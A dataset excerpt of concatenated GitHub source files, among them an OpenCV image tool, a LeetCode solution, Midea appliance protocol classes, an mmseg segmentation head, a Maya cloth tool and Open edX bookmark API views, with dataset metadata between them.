cv2.imwrite(self.dir + '/' + name + '_Resized'+str(r).replace('.', '_')+'Times.' + filetype, ResizedImage) # 保存\n\n tkinter.messagebox.showinfo('提示', '缩放后的'+str(len(scale_list))+'张图片已经保存到了'+self.dir+'中!')\n\n\n def pic_flip(self, ):\n if not self.filenames:\n tkinter.messagebox.showinfo('提示', '请先选择图片才能进行图片翻转!')\n if not os.path.exists(self.dir):\n os.makedirs(self.dir)\n if self.filenames:\n for filename in self.filenames:\n if filename:\n img = cv2.imread(filename)\n newFile = filename.split('/')[-1]\n name = newFile.split('.')[0]\n filetype = newFile.split('.')[-1]\n # 将原图分别做翻转操作\n Horizontallyflipped = cv2.flip(img, 1)\n self.cv2visual(Horizontallyflipped)\n cv2.imwrite(self.dir + '/' + name + '_Horizontallyflipped.' + filetype, Horizontallyflipped) # 保存\n Verticallyflipped = cv2.flip(img, 0)\n self.cv2visual(Verticallyflipped)\n cv2.imwrite(self.dir + '/' + name + '_Verticallyflipped.' + filetype, Verticallyflipped) # 保存\n HorizontallyAndVertically = cv2.flip(img, -1)\n self.cv2visual(HorizontallyAndVertically)\n cv2.imwrite(self.dir + '/' + name + '_HorizontallyAndVertically.' + filetype, HorizontallyAndVertically) # 保存\n\n tkinter.messagebox.showinfo('提示', '翻转后的图片已经保存到了'+self.dir+'中!')\n\n def mouse(self, event, x, y, flags, param):\n image = param[0]\n pts1 = param[1]\n pts2 = param[2]\n if event == cv2.EVENT_LBUTTONDOWN:\n pts1.append([x, y])\n xy = \"%d,%d\" % (x, y)\n cv2.circle(image, (x, y), 4, (0, 255, 255), thickness = -1)\n cv2.putText(image, xy, (x, y), cv2.FONT_HERSHEY_PLAIN,\n 1.0, (0, 255, 255), thickness = 2)\n cv2.imshow(\"image\", image) \n if event == cv2.EVENT_RBUTTONDOWN:\n pts2.append([x, y])\n xy = \"%d,%d\" % (x, y)\n cv2.circle(image, (x, y), 4, (255, 0, 255), thickness = -1)\n cv2.putText(image, xy, (x, y), cv2.FONT_HERSHEY_PLAIN,\n 1.0, (255, 0, 255), thickness = 2)\n cv2.imshow(\"image\", image) \n\n def pic_perspective(self,): \n if self.filenames:\n for filename in self.filenames:\n if filename:\n print(\"file:\", filename)\n image = cv2.imread(filename)\n # 原图中卡片的四个角点\n cv2.namedWindow(\"image\")\n \n tips_str = \"Left click the original image\\nRight click the target\\nLeft2right, Top2Bottom\\nEnter end\"\n y0, dy = 20, 20\n for i, line in enumerate(tips_str.split('\\n')):\n y = y0 + i*dy\n cv2.putText(image, line, (2, y), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, 2)\n\n cv2.imshow(\"image\", image)\n pts1 = []\n pts2 = []\n cv2.setMouseCallback(\"image\", self.mouse, param=(image, pts1, pts2))\n \n cv2.waitKey(0)\n cv2.destroyAllWindows()\n print(\"pts1:\", pts1)\n pts1 = np.float32(pts1[:4])\n print(\"pts2:\", pts2)\n pts2 = np.float32(pts2[:4])\n\n assert len(pts1)==4, \"每个只允许四个点\" \n \n # 生成透视变换矩阵\n M = cv2.getPerspectiveTransform(pts1, pts2)\n # 进行透视变换\n dst = cv2.warpPerspective(image, M, (image.shape[1], image.shape[0]))\n cv2.imwrite('dst.jpg', dst)\n # matplotlib默认以RGB通道显示,所以需要用[:, :, ::-1]翻转一下\n plt.subplot(121), plt.imshow(image[:, :, ::-1]), plt.title('input')\n plt.subplot(122), plt.imshow(dst[:, :, ::-1]), plt.title('output')\n plt.show()\n\n # tkinter.messagebox.showinfo('提示', '透视变换的图片处理完毕!')\n return dst\n\ndef main():\n img_proc = ImagePerspective()\n\n\nif __name__==\"__main__\":\n main()\n\n","repo_name":"kaixindelele/image-perspective-transformation","sub_path":"ImagePerspectiveClass.py","file_name":"ImagePerspectiveClass.py","file_ext":"py","file_size_in_byte":12456,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"14566918326","text":"class Solution:\n\n def lengthLongestPath(self, input: str) -> int:\n\n def isFile(s):\n return '.' in s\n\n def parse(s):\n count, index = 0, 0\n while index + 1 < len(s) and s[index:index + 1] == '\\t':\n count += 1\n index += 1\n return [count, s[index:]]\n\n max_length = 0\n arr = input.split(\"\\n\")\n pre = 0\n stack = []\n for s in arr:\n level, s = parse(s)\n while level < len(stack):\n pre -= stack.pop()\n\n if isFile(s):\n max_length = max(max_length, pre + len(s))\n else:\n stack.append(len(s) + 1)\n pre += len(s) + 1\n\n return max_length\n\n\nif __name__ == '__main__':\n # input = \"dir\\n\\tsubdir1\\n\\tsubdir2\\n\\t\\tfile.ext\"\n # print(input.split(\"\\n\"))\n # print(input)\n # print(\"hello\".split(\"\\n\"))\n print(Solution().lengthLongestPath(\n \"dir\\n\\tsubdir1\\n\\t\\tfile1.ext\\n\\t\\tsubsubdir1\\n\\tsubdir2\\n\\t\\tsubsubdir2\\n\\t\\t\\tfile2.ext\"))\n","repo_name":"ccctw-ma/leetcode","sub_path":"src/Medium/BorD_FSTest/lengthLongestPath.py","file_name":"lengthLongestPath.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72093742801","text":"\"\"\"Interactor for task deletion.\"\"\"\n\nfrom app.db.sqlalchemy import AsyncSession\nfrom app.db.task.repo import TaskRepo\nfrom app.services.file_storage import FileStorage\n\n\nclass DeleteTaskInteractor:\n def __init__(self, db_session: AsyncSession, file_storage: FileStorage) -> None:\n self._db_session = db_session\n self._file_storage = file_storage\n\n async def execute(self, task_id: int) -> None:\n task_repo = TaskRepo(self._db_session)\n\n task = await task_repo.get_task(task_id)\n await task_repo.delete_task(task_id)\n\n if task.attachment:\n await self._file_storage.remove(task.attachment.file_storage_id)\n\n await self._db_session.commit()\n","repo_name":"ExpressApp/todo-bot","sub_path":"app/interactors/delete_task.py","file_name":"delete_task.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"73355332561","text":"from kivy.properties import BooleanProperty, NumericProperty, StringProperty\n\nfrom game.housing import Housing\nfrom loading.kv_loader import load_kv\nfrom refs import Refs\nfrom uix.modules.screen import Screen\n\nload_kv(__name__)\n\n\nclass HousingMain(Screen):\n housing_source = StringProperty('')\n\n housing_name = StringProperty('')\n renting = BooleanProperty(False)\n description = StringProperty('')\n bill_description = StringProperty('')\n cost = StringProperty('')\n time = StringProperty('')\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n def on_kv_post(self, base_widget):\n housing = Housing('two_room_flat', 'Two Room Flat', 'A small two room flat, with enough room for a living room and kitchen combo and a bedroom.', 2, [], [], 1000000)\n\n # housing = Refs.gc.get_housing()\n self.housing_source = f'housing/{housing.get_id()}.png'\n self.housing_name = housing.get_name()\n self.description = housing.get_description() + housing.get_info()\n self.renting = housing.is_renting()\n if housing.get_bill_count() > 0:\n self.cost = 'Next Bill: ' + Refs.gc.format_number(housing.get_bill_cost())\n if housing.get_bill_due() > 0:\n self.time = f'Bill due in {housing.get_bill_due()} days'\n elif housing.get_bill_due() < 0:\n self.time = f'Bill due {housing.get_bill_due()} days ago'\n else:\n self.time = f'Bill due today'\n else:\n self.cost = 'Paid Off'\n self.time = f''\n\n","repo_name":"eman1can/CoatiraneAdventures","sub_path":"src/uix/screens/housing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"24982595545","text":"import requests\r\nimport json\r\n\r\ndef fun(t):\r\n getjson = json.loads(t)\r\n \r\n if \"message\" in getjson[\"status\"]:\r\n print(getjson[\"status\"][\"message\"])\r\n if \"value\" in getjson[\"status\"]:\r\n print(getjson[\"status\"][\"value\"])\r\n \r\n\r\ndef main():\r\n url = \"http://api.geonames.org/citiesJSON?north=44.1&south=-9.9&east=-22.4&west=55.2&lang=de&username=demo\"\r\n w = requests.get(url)\r\n t = w.text\r\n #print(t)\r\n fun(t)\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"Lav2891/python","sub_path":"polls/__pycache__/jsonparsing.py","file_name":"jsonparsing.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17347116713","text":"########## fix cloth shape per frame ##########\r\n###############################################\r\nimport sys\r\nimport maya.cmds as mc\r\nimport maya.mel as mm\r\nimport ui\r\n\r\nreload(ui)\r\n\r\n##########################################################################\r\n### UI Creature ###\r\nwin = ui.Window('PangoClohtToolsWindow')\r\nmainLyt_clm = ui.ColumnLayout('mainLyt_clm')\r\n\r\norig_txtFld = ui.TextFieldButtonGrp('orig_txtFld')\r\ndummyMsh_bttn = ui.Button('dummyMsh_bttn')\r\nfin_bttn = ui.Button('fin_bttn')\r\nswtMsh_bttn = ui.Button('swtMsh_bttn')\r\ngphEdt_bttn = ui.Button('gphEdt_bttn')\r\n\r\nmainLyt_clm.upStep()\r\n\r\n### UI Edit ###\r\nwin.title = 'Pango Cloth Tools \\(>///<)/'\r\nwin.w = 200\r\nwin.h = 180\r\n\r\norig_txtFld.bl = ' Get Original Mesh '\r\norig_txtFld.label = 'Original Mesh : '\r\norig_txtFld.text = 'SelectOriginalMesh'\r\n\r\nmainLyt_clm.adjustableColumn(1)\r\n\r\nbttn_height = 35\r\n\r\ndummyMsh_bttn.label = 'Dummy Mesh'\r\nfin_bttn.label = 'Finalize'\r\nswtMsh_bttn.label = 'Switch Mesh'\r\ngphEdt_bttn.label = 'Graph Editor'\r\n\r\ndummyMsh_bttn.h = bttn_height\r\nfin_bttn.h = bttn_height\r\nswtMsh_bttn.h = bttn_height\r\ngphEdt_bttn.h = bttn_height\r\n\r\n##########################################################################\r\n### mesh object ###\r\nclass Mesh(object) :\r\n '''\r\n ********************\r\n ***** Document *****\r\n ********************\r\n Class : Mesh\r\n Description : this script use for fix error shape from cloth simulation per frame\r\n by blendshape\r\n view document by help()\r\n '''\r\n def __init__(self, name = '', visibility = 1) :\r\n self.name = name\r\n self.visibility = visibility\r\n \r\n def __str__(self) :\r\n name = self.name\r\n return name\r\n \r\n def __repr__(self) :\r\n name = self.name\r\n return name\r\n \r\n def __int__(self) :\r\n visibility = self.visibility\r\n return visibility\r\n \r\n def getName(self) :\r\n return self.name\r\n \r\n def setName(self, newName = '') :\r\n self.name = mc.rename(self.name, newName)\r\n \r\n def delName(self) :\r\n del self.name\r\n \r\n n = property(getName, setName, delName, 'use for get and set name to mesh')\r\n \r\n def getVisibility(self) :\r\n visVal = mc.getAttr('%s.visibility' % self.name)\r\n visVal_dic = {'True' : 1, 'False' : 0}\r\n self.visibility = visVal_dic['%s' % visVal]\r\n \r\n return self.visibility\r\n \r\n def setVisibility(self, visVal = 1) :\r\n mc.setAttr('%s.visibility' % self.name, visVal)\r\n \r\n vis = property(getVisibility, setVisibility, None, 'use for visibility function')\r\n \r\nclass OrigMesh(Mesh) : \r\n '''\r\n ********************\r\n ***** Document *****\r\n ********************\r\n Class : Mesh --> OrigMesh\r\n Description : get original shape by selected cloth's mesh\r\n '''\r\n def __ini__(self, name = '') :\r\n self.name = name\r\n \r\nclass FixMesh(Mesh) :\r\n '''\r\n ********************\r\n ***** Document *****\r\n ********************\r\n Class : Mesh --> FixMesh\r\n Description : get edit shape mesh by duplicate original mesh\r\n ''' \r\n def __init__(self, name = '') :\r\n self.name = name\r\n\r\n##########################################################################\r\ndef setInputFixShape(*args) :\r\n\tcurFrm = int(mc.currentTime(q = True)) \r\n\t\r\n\torigMsh = OrigMesh(orig_txtFld.text)\r\n\tfixMsh_tmp = mc.duplicate(origMsh.n)[0]\r\n\tfixMsh = FixMesh(fixMsh_tmp)\r\n\tfixMsh.n = '%s_%sx' % (origMsh.n, curFrm)\r\n \r\n\tcurBsh = mc.blendShape(fixMsh.n, origMsh.n, n = '%s_BSH' % fixMsh, origin = 'world')[0]\r\n\tmc.setKeyframe('%s.%s' % (curBsh, fixMsh.n), t = curFrm, v = 1)\r\n\tmc.setKeyframe('%s.%s' % (curBsh, fixMsh.n), t = curFrm - 1, v = 0)\r\n\tmc.setKeyframe('%s.%s' % (curBsh, fixMsh.n), t = curFrm + 1, v = 0)\r\n \r\n\torigMsh.vis = 0\r\n\tfixMsh.vis = 1\r\n\t\t \r\ndef finalizeFunction(*args) :\r\n\tcurFrm = int(mc.currentTime(q = True))\r\n\t\r\n\torigMsh = OrigMesh(orig_txtFld.text)\r\n\tfixMsh = FixMesh('%s_%sx' % (origMsh.n, curFrm))\r\n\torigMsh.vis = 1\r\n\tfixMsh.vis = 0\r\n \r\ndef switchEditShape(origVis = 1) :\r\n\tcurFrm = int(mc.currentTime(q = True))\r\n\t\r\n\torigMsh = OrigMesh(orig_txtFld.text)\r\n\tfixMsh = FixMesh('%s_%sx' % (origMsh.n, curFrm))\r\n \r\n\tif origMsh.vis == 1 :\r\n\t\torigMsh.vis = 0\r\n\t\tfixMsh.vis = 1\r\n \r\n\telse :\r\n\t\torigMsh.vis = 1\r\n\t\tfixMsh.vis = 0\r\n\r\ndef getOriginalMesh(*args) :\r\n\torig_txtFld.text = mc.ls(sl = True)[0]\r\n\t\r\ndef graphEditorPanel(*args) :\r\n\tmm.eval('tearOffPanel \"Graph Editor\" graphEditor true;')\r\n \r\n# button set command #\r\norig_txtFld.bc = getOriginalMesh\r\ndummyMsh_bttn.c = setInputFixShape\r\nfin_bttn.c = finalizeFunction\r\nswtMsh_bttn.c = switchEditShape\r\ngphEdt_bttn.c = graphEditorPanel\r\n\r\n","repo_name":"code-google-com/pi-maya-python","sub_path":"pangoClothTools.py","file_name":"pangoClothTools.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13592535763","text":"import logging\nfrom ...core.message import (\n MessageType,\n MessageRequest,\n MessageResponse,\n MessageBody,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass MessageE2Base(MessageRequest):\n def __init__(self, message_type, body_type):\n super().__init__(\n device_type=0xE2,\n message_type=message_type,\n body_type=body_type\n )\n\n @property\n def _body(self):\n raise NotImplementedError\n\n\nclass MessageQuery(MessageE2Base):\n def __init__(self):\n super().__init__(\n message_type=MessageType.query,\n body_type=0x01)\n\n @property\n def _body(self):\n return bytearray([0x01])\n\n\nclass MessagePower(MessageE2Base):\n def __init__(self):\n super().__init__(\n message_type=MessageType.set,\n body_type=0x02)\n self.power = False\n\n @property\n def _body(self):\n if self.power:\n self._body_type = 0x01\n else:\n self._body_type = 0x02\n return bytearray([0x01])\n\n\nclass MessageGeneralSet(MessageE2Base):\n def __init__(self):\n super().__init__(\n message_type=MessageType.set,\n body_type=0x04)\n\n self.target_temperature = 0\n self.mode = 0\n self.variable_heating = False\n self.whole_tank_heating = False\n self.protection = False\n self.auto_cut_out = False\n\n @property\n def _body(self):\n # Byte 2 mode\n mode = 0 if self.mode == 0 else 1 << (self.mode - 1)\n # Byte 4 whole_tank_heating, protection\n whole_tank_heating = 0x02 if self.whole_tank_heating else 0x01\n protection = 0x08 if self.protection else 0x00\n auto_cut_out = 0x04 if self.auto_cut_out else 0x00\n # Byte 5 target_temperature\n target_temperature = self.target_temperature & 0xFF\n # Byte 9 variable_heating\n variable_heating = 0x10 if self.variable_heating else 0x00\n\n\n return bytearray([\n 0x01,\n mode,\n 0x00,\n whole_tank_heating | protection | auto_cut_out,\n target_temperature,\n 0x00, 0x00, 0x00,\n variable_heating,\n 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00,\n 0x00\n ])\n\n\nclass E2GeneralMessageBody(MessageBody):\n def __init__(self, body):\n super().__init__(body)\n self.power = (body[2] & 0x01) > 0\n self.heating = (body[2] & 0x04) > 0\n self.heat_insulating = (body[2] & 0x08) > 0\n self.variable_heating = (body[2] & 0x80) > 0\n self.temperature = body[4]\n self.mode = 0\n if (body[7] & 0x01) > 0:\n # e-Plus mode\n self.mode = 1\n elif (body[7] & 0x02) > 0:\n # Rapid mode\n self.mode = 2\n elif (body[7] & 0x10) > 0:\n # Summer mode\n self.mode = 3\n elif (body[7] & 0x20) > 0:\n # Winter mode\n self.mode = 4\n elif (body[7] & 0x40) > 0:\n # Power saving\n self.mode = 5\n elif (body[7] & 0x80) > 0:\n # Night Mode\n self.mode = 6\n self.whole_tank_heating = (body[7] & 0x08) > 0\n self.target_temperature = body[11]\n self.protection = (body[22] & 0x04) > 0 if len(body) > 22 else False\n self.auto_cut_out = (body[22] & 0x02) > 0 if len(body) > 22 else False\n self.heating_power = body[27] if len(body) > 27 else 0\n\n\nclass MessageE2Response(MessageResponse):\n def __init__(self, message):\n super().__init__(message)\n body = message[10: -2]\n if (self._message_type in [MessageType.query, MessageType.notify1] and self._body_type == 0x01) or \\\n (self._message_type == MessageType.set and self._body_type in [0x01, 0x02, 0x04]):\n self._body = E2GeneralMessageBody(body)\n self.power = self._body.power\n self.heating = self._body.heating\n self.heat_insulating = self._body.heat_insulating\n self.variable_heating = self._body.variable_heating\n self.temperature = self._body.temperature\n self.mode = self._body.mode\n self.whole_tank_heating = self._body.whole_tank_heating\n self.target_temperature = self._body.target_temperature\n self.protection = self._body.protection\n self.heating_power = self._body.heating_power\n self.auto_cut_out = self._body.auto_cut_out\n","repo_name":"KongXiangning/media_lan","sub_path":"midea_ac_lan/midea/devices/e2/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28746225656","text":"import torch\nimport torch.nn as nn\nfrom mmcv.cnn import ConvModule\n\nfrom mmseg.models.builder import HEADS\nfrom mmseg.models.decode_heads.decode_head import BaseDecodeHead\nfrom mmseg.ops import resize\n\n\n@HEADS.register_module()\nclass SSFormerHead(BaseDecodeHead):\n def __init__(self,\n interpolate_mode='bilinear',\n **kwargs):\n super().__init__(input_transform='multiple_select', **kwargs)\n\n num_inputs = len(self.in_channels)\n self.interpolate_mode = interpolate_mode\n assert num_inputs == len(self.in_index)\n\n self.local_emphasises = nn.ModuleList()\n for i in range(num_inputs):\n # 2 convs with ReLU\n local_emphasis = nn.Sequential(\n ConvModule(\n in_channels=self.in_channels[i],\n out_channels=self.channels,\n kernel_size=3,\n padding=1,\n bias=False\n ),\n ConvModule(\n in_channels=self.channels,\n out_channels=self.channels,\n kernel_size=3,\n padding=1,\n bias=False\n )\n )\n self.local_emphasises.append(local_emphasis)\n\n self.linear_projections = nn.ModuleList()\n for i in range(num_inputs - 1):\n self.linear_projections.append(\n ConvModule(\n in_channels=self.channels * 2,\n out_channels=self.channels,\n kernel_size=1,\n stride=1,\n norm_cfg=self.norm_cfg,\n act_cfg=self.act_cfg\n )\n )\n\n def forward(self, inputs):\n # Receive 4 stage backbone feature map: 1/4, 1/8, 1/16, 1/32\n inputs = self._transform_inputs(inputs)\n _inputs = []\n # local emphasis\n for idx in range(len(inputs)):\n x = inputs[idx]\n local_emphasis = self.local_emphasises[idx]\n _inputs.append(\n resize(\n input=local_emphasis(x),\n size=inputs[0].shape[2:],\n mode=self.interpolate_mode,\n align_corners=self.align_corners))\n\n # Stepwise Feature Aggregation\n out = torch.empty(\n _inputs[0].shape\n )\n for idx in range(len(_inputs) - 1, 0, -1):\n linear_prj = self.linear_projections[idx - 1]\n # cat first 2 from _inputs\n if idx == len(_inputs) - 1:\n x1 = _inputs[idx]\n x2 = _inputs[idx - 1]\n # if not first 2 then cat from prev outs and _inputs\n else:\n x1 = out\n x2 = _inputs[idx - 1]\n x = torch.cat([x1, x2], dim=1)\n out = linear_prj(x)\n\n out = self.cls_seg(out)\n\n return out\n","repo_name":"main-2983/sun-polyp","sub_path":"mmseg/models/decode_heads/ssformer_head.py","file_name":"ssformer_head.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"13356579727","text":"import unittest\nfrom decimal import Decimal\nfrom wexapi.models import OrderInfo\n\n\nclass TestOrderInfo(unittest.TestCase):\n def test_create_valid(self):\n data = {\n \"order_id\": \"343152\",\n \"pair\": \"btc_usd\",\n \"type\": \"sell\",\n \"start_amount\": 13.345,\n \"amount\": 12.345,\n \"rate\": 485,\n \"timestamp_created\": 1342448420,\n \"status\": 0\n }\n info = OrderInfo(**data)\n\n self.assertIsInstance(info.start_amount, Decimal)\n self.assertEqual(info.start_amount, Decimal(13.345))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"madmis/wexapi","sub_path":"wexapi/test/models/test_order_info.py","file_name":"test_order_info.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"40806964398","text":"import mongoDB\nfrom validate_Input import validate_string_input\nfrom SessionMessage import sendSessionMessage\n\ndef HindiContent1(textByUser, senderName):\n result = mongoDB.db['user'].find_one({'phoneNumber':918355882259})\n print(result)\n \n # if(result):\n # print('User not created')\n\n if(result == 'None'):\n print('User created for the first Time')\n mongoDB.db.user.update_one({\"phoneNumber\": 918355882259},{\"$set\": {\"language\": textByUser}},upsert=True)\n else:\n print('Language updated')\n print('updated language should be' + textByUser)\n mongoDB.db.user.insert_one({\"phoneNumber\":918355882259, \"senderName\": senderName,\"language\": textByUser,\"already\":0,\"next\":1}) \n \n\n language = mongoDB.db.user.find_one({\"phoneNumber\" : 918355882259, \"senderName\": senderName,\"language\": textByUser,})['language']\n print(language)\n\n nextQuestion = mongoDB.db['user'].find_one({'phoneNumber':918355882259})['next']\n print(nextQuestion)\n question = mongoDB.db2.Hindi.find_one({\"no\":str(nextQuestion)})['question']\n print(question)\n sendSessionMessage(question)\n mongoDB.db.user.update_one({\"phoneNumber\":918355882259},{\"$inc\":{\"already\":1,\"next\":1},\"$push\":{\"questionsAsked\":{\"Q\":question,\"A\":textByUser}}},upsert=True)\n\n\ndef HindiContent2(textByUser):\n print(textByUser) \n print('In last block')\n nextQuestion = mongoDB.db['user'].find_one({'phoneNumber':918355882259})['next']\n\n if(nextQuestion<=5):\n question = mongoDB.db2.Hindi.find_one({\"no\":str(nextQuestion)})['question']\n prevQuestion = mongoDB. db2.Hindi.find_one({\"no\" : str(nextQuestion-1)})['question']\n dataType = mongoDB.db2.Hindi.find_one({\"no\":str(nextQuestion-1)})['dataType']\n print(dataType)\n\n if(dataType == 'String'):\n print('Input should be a String : ')\n if(textByUser.isnumeric() == False) : \n print('Input is String')\n mongoDB.db.user.update_one({\"phoneNumber\":918355882259},{\"$inc\":{\"already\":1,\"next\":1},\"$push\":{\"questionsAsked\":{\"Q\":prevQuestion,\"A\":textByUser}}},upsert=True)\n sendSessionMessage(question)\n else: \n sendSessionMessage(\"Input format is not correct, Give a string as answer!!\")\n else:\n print('dataType is Number')\n if(textByUser.isnumeric() == True) : \n print(\"Input is a Number\")\n mongoDB.db.user.update_one({\"phoneNumber\":918355882259},{\"$inc\":{\"already\":1,\"next\":1},\"$push\":{\"questionsAsked\":{\"Q\":prevQuestion,\"A\":textByUser}}},upsert=True)\n sendSessionMessage(question)\n else: \n sendSessionMessage(\"Input format is not correct, Give a Number as answer!!\") \n else : \n sendSessionMessage(\"Thankyou For Your Time !!\")","repo_name":"komalkumari12/SmartU-WATI-API","sub_path":"HindiContent.py","file_name":"HindiContent.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12612226973","text":"\"\"\"\nHTTP end-points for the Bookmarks API.\n\nFor more information, see:\nhttps://openedx.atlassian.net/wiki/display/TNL/Bookmarks+API\n\"\"\"\n\n\nimport logging\n\nimport eventtracking\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.translation import gettext as _\nfrom django.utils.translation import gettext_noop\nimport edx_api_doc_tools as apidocs\nfrom edx_rest_framework_extensions.paginators import DefaultPagination\nfrom opaque_keys import InvalidKeyError\nfrom opaque_keys.edx.keys import CourseKey, UsageKey\nfrom rest_framework import permissions, status\nfrom rest_framework.authentication import SessionAuthentication\nfrom rest_framework.generics import ListCreateAPIView\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom openedx.core.lib.api.authentication import BearerAuthentication\nfrom openedx.core.djangoapps.bookmarks.api import BookmarksLimitReachedError\nfrom openedx.core.lib.api.permissions import IsUserInUrl\nfrom openedx.core.lib.url_utils import unquote_slashes\nfrom xmodule.modulestore.exceptions import ItemNotFoundError # lint-amnesty, pylint: disable=wrong-import-order\n\nfrom . import DEFAULT_FIELDS, OPTIONAL_FIELDS, api\nfrom .serializers import BookmarkSerializer\n\nlog = logging.getLogger(__name__)\n\n\n# Default error message for user\nDEFAULT_USER_MESSAGE = gettext_noop('An error has occurred. Please try again.')\n\n\nclass BookmarksPagination(DefaultPagination):\n \"\"\"\n Paginator for bookmarks API.\n \"\"\"\n page_size = 10\n max_page_size = 100\n\n def get_paginated_response(self, data):\n \"\"\"\n Annotate the response with pagination information.\n \"\"\"\n response = super().get_paginated_response(data)\n\n # Add `current_page` value, it's needed for pagination footer.\n response.data[\"current_page\"] = self.page.number\n\n # Add `start` value, it's needed for the pagination header.\n response.data[\"start\"] = (self.page.number - 1) * self.get_page_size(self.request)\n\n return response\n\n\nclass BookmarksViewMixin:\n \"\"\"\n Shared code for bookmarks views.\n \"\"\"\n\n def fields_to_return(self, params):\n \"\"\"\n Returns names of fields which should be included in the response.\n\n Arguments:\n params (dict): The request parameters.\n \"\"\"\n optional_fields = params.get('fields', '').split(',')\n return DEFAULT_FIELDS + [field for field in optional_fields if field in OPTIONAL_FIELDS]\n\n def error_response(self, developer_message, user_message=None, error_status=status.HTTP_400_BAD_REQUEST):\n \"\"\"\n Create and return a Response.\n\n Arguments:\n message (string): The message to put in the developer_message\n and user_message fields.\n status: The status of the response. Default is HTTP_400_BAD_REQUEST.\n \"\"\"\n if not user_message:\n user_message = developer_message\n\n return Response(\n {\n \"developer_message\": developer_message,\n \"user_message\": _(user_message) # lint-amnesty, pylint: disable=translation-of-non-string\n },\n status=error_status\n )\n\n\nclass BookmarksListView(ListCreateAPIView, BookmarksViewMixin):\n \"\"\"REST endpoints for lists of bookmarks.\"\"\"\n\n authentication_classes = (BearerAuthentication, SessionAuthentication,)\n pagination_class = BookmarksPagination\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = BookmarkSerializer\n\n @apidocs.schema(\n parameters=[\n apidocs.string_parameter(\n 'course_id',\n apidocs.ParameterLocation.QUERY,\n description=\"The id of the course to limit the list\",\n ),\n apidocs.string_parameter(\n 'fields',\n apidocs.ParameterLocation.QUERY,\n description=\"The fields to return: display_name, path.\",\n ),\n ],\n )\n def get(self, request, *args, **kwargs):\n \"\"\"\n Get a paginated list of bookmarks for a user.\n\n The list can be filtered by passing parameter \"course_id=\"\n to only include bookmarks from a particular course.\n\n The bookmarks are always sorted in descending order by creation date.\n\n Each page in the list contains 10 bookmarks by default. The page\n size can be altered by passing parameter \"page_size=\".\n\n To include the optional fields pass the values in \"fields\" parameter\n as a comma separated list. Possible values are:\n\n * \"display_name\"\n * \"path\"\n\n **Example Requests**\n\n GET /api/bookmarks/v1/bookmarks/?course_id={course_id1}&fields=display_name,path\n \"\"\"\n return super().get(request, *args, **kwargs)\n\n def get_serializer_context(self):\n \"\"\"\n Return the context for the serializer.\n \"\"\"\n context = super().get_serializer_context()\n if self.request.method == 'GET':\n context['fields'] = self.fields_to_return(self.request.query_params)\n return context\n\n def get_queryset(self):\n \"\"\"\n Returns queryset of bookmarks for GET requests.\n\n The results will only include bookmarks for the request's user.\n If the course_id is specified in the request parameters,\n the queryset will only include bookmarks from that course.\n \"\"\"\n course_id = self.request.query_params.get('course_id', None)\n\n if course_id:\n try:\n course_key = CourseKey.from_string(course_id)\n except InvalidKeyError:\n log.error('Invalid course_id: %s.', course_id)\n return []\n else:\n course_key = None\n\n return api.get_bookmarks(\n user=self.request.user, course_key=course_key,\n fields=self.fields_to_return(self.request.query_params), serialized=False\n )\n\n def paginate_queryset(self, queryset):\n \"\"\" Override GenericAPIView.paginate_queryset for the purpose of eventing \"\"\"\n page = super().paginate_queryset(queryset)\n\n course_id = self.request.query_params.get('course_id')\n if course_id:\n try:\n CourseKey.from_string(course_id)\n except InvalidKeyError:\n return page\n\n event_data = {\n 'list_type': 'all_courses',\n 'bookmarks_count': self.paginator.page.paginator.count,\n 'page_size': self.paginator.page.paginator.per_page,\n 'page_number': self.paginator.page.number,\n }\n if course_id is not None:\n event_data['list_type'] = 'per_course'\n event_data['course_id'] = course_id\n\n eventtracking.tracker.emit('edx.bookmark.listed', event_data)\n\n return page\n\n @apidocs.schema()\n def post(self, request, *unused_args, **unused_kwargs): # lint-amnesty, pylint: disable=unused-argument\n \"\"\"Create a new bookmark for a user.\n\n The POST request only needs to contain one parameter \"usage_id\".\n\n Http400 is returned if the format of the request is not correct,\n the usage_id is invalid or a block corresponding to the usage_id\n could not be found.\n\n **Example Requests**\n\n POST /api/bookmarks/v1/bookmarks/\n Request data: {\"usage_id\": }\n \"\"\"\n if not request.data:\n return self.error_response(gettext_noop('No data provided.'), DEFAULT_USER_MESSAGE)\n\n usage_id = request.data.get('usage_id', None)\n if not usage_id:\n return self.error_response(gettext_noop('Parameter usage_id not provided.'), DEFAULT_USER_MESSAGE)\n\n try:\n usage_key = UsageKey.from_string(unquote_slashes(usage_id))\n except InvalidKeyError:\n error_message = gettext_noop('Invalid usage_id: {usage_id}.').format(usage_id=usage_id)\n log.error(error_message)\n return 